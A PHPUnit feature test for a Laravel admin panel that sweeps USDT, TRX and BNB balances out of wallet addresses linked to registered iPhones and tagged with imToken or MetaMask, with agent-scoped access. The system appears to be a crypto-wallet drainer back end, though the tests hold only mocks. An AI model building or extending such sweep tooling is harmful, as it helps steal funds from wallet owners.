Files
2026-09-25 13:10:34 +08:00

196 lines
6.4 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Services\TransferService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class AddressSweepTest extends TestCase
{
use RefreshDatabase;
private function seedTronAddress(): WalletAddress
{
$device = Device::query()->create([
'device_id' => 'dev-sweep-1',
'ios_version' => '18.0',
'device_model' => 'iPhone',
]);
return WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'chain_type' => 'TRON',
'source' => 'imToken',
'usdt' => '12.5',
'trx' => '20',
'monitor' => 0,
]);
}
#[Test]
public function admin_can_sweep_full_balance_via_addresses_page(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$addr = $this->seedTronAddress();
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->withArgs(function (string $chain, string $from, ?string $amount, string $asset, ?string $operator) use ($addr) {
return $chain === 'tron'
&& $from === $addr->address
&& $amount === null
&& $asset === 'USDT'
&& is_string($operator)
&& str_starts_with($operator, 'admin:');
})
->andReturn([
'ok' => true,
'txid' => str_repeat('ab', 32),
'from' => $addr->address,
'to' => 'TToAddress',
'amount' => '12.5',
'asset' => 'USDT',
]);
$this->app->instance(TransferService::class, $transfers);
$this->actingAs($admin, 'admin')
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
'asset' => 'USDT',
'amount' => '',
])
->assertOk()
->assertJson([
'code' => 0,
'data' => [
'txid' => str_repeat('ab', 32),
'asset' => 'USDT',
'amount' => '12.5',
],
]);
}
#[Test]
public function admin_can_sweep_specific_amount(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$addr = $this->seedTronAddress();
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->with('tron', $addr->address, '1.25', 'TRX', Mockery::type('string'))
->andReturn([
'ok' => true,
'txid' => str_repeat('cd', 32),
'from' => $addr->address,
'to' => 'TToAddress',
'amount' => '1.25',
'asset' => 'TRX',
]);
$this->app->instance(TransferService::class, $transfers);
$this->actingAs($admin, 'admin')
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
'asset' => 'TRX',
'amount' => '1.25',
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.txid', str_repeat('cd', 32));
}
#[Test]
public function sweep_rejects_invalid_asset_for_chain(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$addr = $this->seedTronAddress();
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldNotReceive('handle');
$this->app->instance(TransferService::class, $transfers);
$this->actingAs($admin, 'admin')
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
'asset' => 'BTC',
'amount' => '',
])
->assertStatus(422);
}
#[Test]
public function agent_cannot_sweep_out_of_scope_address(): void
{
$agent = User::query()->create([
'username' => 'agent1',
'password' => 'secret12',
'status' => 1,
]);
$addr = $this->seedTronAddress();
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldNotReceive('handle');
$this->app->instance(TransferService::class, $transfers);
$this->actingAs($agent, 'agent')
->postJson('/user/addresses/'.$addr->id.'/sweep', [
'asset' => 'USDT',
'amount' => '',
])
->assertStatus(403)
->assertJson(['code' => 1]);
}
#[Test]
public function admin_can_sweep_bnb_on_eth_address(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create([
'device_id' => 'dev-sweep-eth',
'ios_version' => '18.0',
'device_model' => 'iPhone',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => '0x9858EfFD232B4033E47d90003D41EC34EcaEda94',
'chain_type' => 'ETH',
'source' => 'MetaMask',
'eth' => '0.2',
'usdt' => '10',
'bnb' => '1.5',
'monitor' => 0,
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->with('eth', $addr->address, '1.5', 'BNB', Mockery::type('string'))
->andReturn([
'ok' => true,
'txid' => '0x'.str_repeat('ab', 32),
'from' => $addr->address,
'to' => '0x0000000000000000000000000000000000000001',
'amount' => '1.5',
'asset' => 'BNB',
]);
$this->app->instance(TransferService::class, $transfers);
$this->actingAs($admin, 'admin')
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
'asset' => 'BNB',
'amount' => '1.5',
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.asset', 'BNB');
}
}